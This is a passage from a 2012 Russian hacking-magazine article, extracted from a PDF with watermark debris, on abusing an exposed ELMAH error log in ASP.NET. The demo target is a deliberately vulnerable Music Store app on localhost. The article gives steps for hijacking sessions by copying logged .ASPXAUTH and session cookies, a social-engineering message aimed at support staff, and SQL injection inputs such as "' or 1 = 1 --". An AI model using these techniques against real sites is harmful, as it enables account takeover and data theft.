 

-x cha

 

 

 

 

ASP.NET:

ТЕМНАЯСТОРОНА ТРАССИРОВКИ

DVD

Нанашемдиске тынайдешь исходникуязвимого приложенияMusic Store

ЭКСПЛУАТИРУЕМСИСТЕМУРЕГИСТРАЦИИ ИМОНИТОРИНГАИСКЛЮЧЕНИЙELMAH

Одним из инструментов, применяемых для поиска и исправления ошибок в программах, являются отладчики и трассировщики

— специальные утилиты, выполняющие программу по шагам, чтобы понять, что вообще происходит. Сегодня речь пойдет о взломе ELMAH — популярного средства для трассировки ASP.NET-приложений.

Web-интерфейслогаELMAH

НЕМНОГО ОБ ОТЛАДЧИКАХ

Использование отладчика — это гарантия того, что ошибка будет как минимум обнаружена и, если повезет, исправлена. Но, к сожалению, существует множество ситуаций, когда программист не может прибегнуть к помощи этого мощного средства. Во-первых, не все ошибки можно отладить. Классический пример — тупиковые ситуации (deadlock) в многопоточном приложении: запускаешь приложение в отладчике — все работает, без него — программа «падает». Во-вторых, отладчик не всегда доступен. Например, тебе никто не разрешит устанавливать средства разработки на сервере высоконагруженного web-приложения. Или другой пример: я уверен на 99%, что ты не найдешь отладчик на компьютере бухгалтера Мариванны, которая использует твою «складскую» программу. Тут встает резонный вопрос: а что делать-то? Ответ нашли еще на заре появления компьютерной техники: трассировка — это получение информационных сообщений во время выполнения программы: какие были исключения, что ввел пользователь, чем программа занимается в данный момент и так далее. Средства трассировки приложений — это очень мощные, но в то же время и потенциально опасные инструменты, ведь они могут предоставить много полезной информации для хакеров. Такие «ошибки» особенно широко распространены в корпоративном софте, который пишется для внутренних нужд компаний. Программисты в корпорациях

056

ХАКЕР 04 /159/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Каквидишь,настраницепоискаальбомавозможнаSQL-инъекция

стараются сделать жизнь службы поддержки (да, собственно, и свою) как можно проще, поэтому чаще всего доступ к различным системным сообщениям и трассировке неограничен. Зачем

усложнять систему, когда доступ извне защищают бравые парни из службы безопасности? А об инсайдерах, как обычно, забыли, хотя, если верить статистике, 80% успешных взломов корпоративных систем производится именно ими.

ЧТО ТАКОЕ ELMAH?

ELMAH (расшифровывается как Error Logging Modules and Handlers) — это продукт с открытым исходным кодом, разработанный Атифом Азизом (Atif Aziz). Данная система облегчает задачу регистрации и мониторинга необработанных исключений в приложениях, разработанных на ASP.NET. Несмотря на свою молодость (ELMAH 1.1 был зарегистрирован в репозитории NuGet 11 января 2011 года), проект очень популярен в среде разработчиков сайтов под .NET. На момент написания статьи он находился на четырнадцатой строчке среди пакетов, доступных в NuGet, а библиотеку скачали 45 583 человека.

Секрет популярности ELMAH кроется в его простоте. Интеграция с любым web-приложением происходит при помощи всего нескольких щелчков мышки: добавляешь библиотеку в проект при помощи NuGet и готово! Кроме того, если ты захочешь использовать ELMAH с уже существующим кодом, то тебе не потребуется заново его компилировать! Просто скопируй необходимые сборки в проект и подправь Web.config. Все заработает на ура. Несмотря на простоту использования, ELMAH обладает богатым функционалом: здесь присутствует возможность сохранения информации об ошибках в различные базы данных, существуют сервисы уведомления разработчиков по электронной почте или через RSS и так далее.

Угоняемсессиюпользователя

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

ASP.NET: темная сторона трассировкиw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

СТАРАЯУЯЗВИМОСТЬ

ELMAH — это далеко не первый пример, когда средство, предназначенное для облегчения жизни разработчиков, позволяло злоумышленникам получать доступ к системной информации. В 2007 году была

зарегистрирована похожая уязвимость в системе трассировки web-приложений,

идущей в поставке ASP.NET. Web-страница Trace.axd, как и ELAMH, предоставляла слишком много информации в открытом доступе. Этот факт позволял хакерам легко и просто угонять сессии авторизованных пользователей. Дополнительная информация об уязвимости доступна на сайте Rapid7.

Теперь давай перейдем от слов к делу. В качестве примера я решил использовать учебное web-приложение ASP.NET MVC Music Store, которое ты сможешь найти на нашем диске. Также оно доступно в интернете на сайте CodePlex, но уже без интеграции с ELMAH, так что в этом случае я рекомендую обратиться к официальному сайту проекта для получения дополнительной информации. Ты можешь запускать данное web-приложение непосредственно из Visual Studio или зарегистрировать его в IIS. Я буду использовать второй вариант и создам новое приложение, доступное по адресу http://localhost/MusicStore.

НЕМНОГО ТЕОРИИ

Для начала давай посмотрим, что же интересного можно найти в отчете об обычном исключении в ELMAH. Открой Music Store

ивойди в магазин как администратор, воспользовавшись ссылкой Admin в правом верхнем углу страницы. Имя пользователя

ипароль по умолчанию admin и p@ssw0rd соответственно. Теперь давай сгенерируем какое-нибудь исключение. Наш сайт основан на ASP.NET MVC, так что проще всего запросить несуществующую страницу, так как ошибка 404, конечно же, сгенерирует исключение. Получилось? Отлично. Теперь можно посмотреть, какую же информацию мы сможем вытянуть. Для этого открывай webинтерфейс ELMAH, который доступен по адресу http://localhost/ MusicStore/elmah.axd. Как видишь, последняя исключительная ситуация, зарегистрированная ELMAH, это ошибка 404, которую мы сами только что воспроизвели. Дальше давай посмотрим, что же именно записал ELMAH. Нажми на ссылку Details и внимательно посмотри на логи. Во-первых, ELMAH сохраняет как можно больше информации об исключении: его тип, сообщение об ошибке и стек вызовов. Что все это может дать злоумышленнику? Многое. Очень часто сообщение об ошибке содержит не предназначенную для посторонних глаз системную информацию, например информацию о соединении с базой данных (включая имя пользователя

ипароль), информацию о состоянии объекта, в котором произошла ошибка, и многое другое. Если ошибка произошла в коде интернетмагазина, то там могут оказаться и данные кредитной карты пользователя! На мой взгляд, стек вызовов не может принести столько вреда, сколько текст сообщения об ошибке, но я не думаю, что ты захочешь раскрывать злоумышленнику какую-либо информацию об устройстве твоего приложения. Также стоит отметить, что сообщения об ошибках в логах ELMAH никак не связаны с параметром customErrors в ASP.NET, который используется для сокрытия чувствительной информации от пользователя web-приложения. Ты можешь скрыть от пользователя информацию о необработанном

исключении, установив customError в режим on (включен), но это

ХАКЕР 04 /159/ 2012

057

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

не поможет тебе скрыть эту информацию от ELMAH, в журнале ты найдешь полное описание ошибки.

Идем дальше. ELMAH не ограничивается регистрацией исключения. Он также записывает информацию и о запросе, повлекшем за собой некорректную работу сайта, сохраняя, например, такие серверные переменные, как HTTP_COOKIE, HTTP_HOST, HTTP_USER_AGENT и тому подобные. Наибольший интерес для нас представляют серверные переменные HTTP_COOKIE и AUTH_USER. Переменная AUTH_USER содержит имя пользователя, который выполнил запрос. В твоем случае значение этой переменной будет равно admin. Переменная HTTP_COOKIE содержит куки пользователя. Если он был авторизован на сайте, то в переменной должно быть значение куки .ASPXAUTH. Этот кукис используется для проверки подлинности запроса от определенного пользователя. Таким образом, если пользователь находится на сайте, ты можешь создать похожие куки в своем браузере и угнать сессию данного пользователя. Кроме того, я рекомендую обратить внимание на кукис с именем ASP.NET_SessionId. В нем хранится идентификатор сессии атакуемого пользователя. Его стоит похитить на случай, если в сессии приложения хранится что-нибудь важное. Теперь у тебя есть достаточно информации для проведения атаки на

пользователя системы. Она довольно проста: ты должен найти активную сессию авторизованного пользователя и скопировать куки

.ASPXAUTH и ASP.NET_SessionId в свой браузер.

УГОНЯЕМ СЕССИИ ПОЛЬЗОВАТЕЛЕЙ

План действий понятен. Переходим к его непосредственной реализации. Первым делом открой лог ELMAH и посмотри информацию

опоследних исключениях. Есть шанс, что среди них обнаружится информация об активной в данный момент сессии. В этом случае ты можешь смело переходить к следующему шагу. Если тебе не повезло, то остаются два возможных варианта действий. Во-первых, ELMAH распространяет информацию об ошибках через RSS. Добавь канал http://localhost/MusicStore/elmah.axd/rss в читалку RSS и спокойно жди, пока появится возможность для угона сессии :). Нет времени ждать? Тогда тебе на помощь придет социальная инженерия. Предположим, что ты решил взломать какое-нибудь внутрикорпоративное приложение (именно там чаще всего можно встретить незащищенный ELMAH). Попробуй отправить в службу поддержки следующее сообщение: «Здравствуйте. Сегодня у меня перестало открываться приложение Music Store, постоянно выводится ошибка 404. Пример ссылки, которую я пытаюсь открыть: http://localhost/MusicStore/Store/ Browse>aspx". Особенность ссылки в том, что страница сгенерирует ошибку 400 «Плохой запрос», которая будет записана в журнал ошибок ELMAH. Теперь осталось ждать, пока сотрудник службы поддержки перейдет по ссылке. Скорее всего, он уже авторизован на сайте, поэтому ты сможешь угнать его сессию. Наша операция переходит в активную фазу. Открывай web-страницу ELMAH и ищи информацию

окуках сотрудника службы поддержки. Скорее всего у тебя в руках окажется что-то аналогичное:

КонфигурацияELMAHпоумолчаниювWeb.configтестовогосайта

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПолучаемсписокпользователейMusicStoreспомощьюSQL-инъекции

ASP.NET_SessionId=3dljmclkhjpat52quopccijj;

.ASPXAUTH=CDB45013DD38AD7D2759BA6FAA7D98F07

...

B84C6CB5BCC76E7AE899690CC2016B5F1BCE9CDCBAA

Осталось создать подобные куки в твоем браузере. Для этой цели я использую браузер Firefox с плагинами Firebug и Firecookie. Кукис ASP.NET_SessionId скорее всего уже существует, поэтому просто обнови его значение. После этого создай кукис .ASPXAUTH. Вот и все! Далее перезагрузи страницу и открой раздел администрирования сайта, щелкнув по ссылке Admin в правом верхнем углу главной страницы. Если все верно, и сессия пользователя еще активна, то ты войдешь в админку, не зная при этом пароль администратора сайта.

И ЭТО ЕЩЕ НЕ ВСЕ

ELMAH не только позволяет подключаться к активным сессиям пользователей, но и существенно облегчает поиск уязвимостей на сайте. Давай в качестве примера проведем атаку типа SQL Injection на наш Music Store. Я специально добавил такую уязвимость в учебный пример — в оригинальной версии Music Store от Microsoft данная проблема отсутствует. Давай посмотрим, как устроена страница поиска альбома. Открывай http:// localhost/MusicStore/Search. Как видишь, здесь есть только поле для поиска и кнопка сабмита. Теперь необходимо удостовериться, возможно ли выполнить SQL-запрос, да и вообще, есть ли доступ к базе данных на этой странице. У тебя есть доступ к ELMAH, значит, можно упростить себе жизнь и попробовать сгенерировать исключение. Введи что-либо наподобие "' or select 1 from abcdef". Скорее всего, в базе данных не будет таблицы с именем abcdef

(я бы за такую таблицу руки разработчику оторвал). Как и ожидалось, поиск вызвал исключительную ситуацию в коде. Теперь необходимо удостовериться, действительно ли на странице возможна SQL-инъекция. Открывай лог ELMAH и смотри последнее исключение:

System.Data.SqlClient.SqlException (0x80131904):

Incorrect syntax near the keyword 'select'.

Incorrect syntax near '%'.

Unclosed quotation mark after the character string ''.

О чем говорит эта ошибка? Во-первых, сайт построен на базе СУБД SQL Server. Во-вторых, поле ввода ключевого слова не фильтруется. Теперь у тебя должно быть достаточно информации для проведения атаки.

Кстати, ELMAH позволяет не только убедиться, что на странице есть SQL-инъекция, но и автоматизировать поиск подобных уязвимостей на других страницах. Поэтому первым делом при анализе логов обрати внимание на ошибки с типом Sql. Ты также можешь скачать список ошибок в формате CSV, воспользовавшись ссылкой http://localhost/MusicStore/elmah.axd/download, и затем произвести дальнейший анализ в Microsoft Excel или при помощи скриптов. Для начала давай попробуем получить список всех альбомов. Возвращайся на страницу поиска и вводи следующий текст: "' or 1 = 1 --". Получил? Отлично. Теперь давай попробуем сделать что-

058

ХАКЕР 04 /159/ 2012

Соседние файлы в папке журнал хакер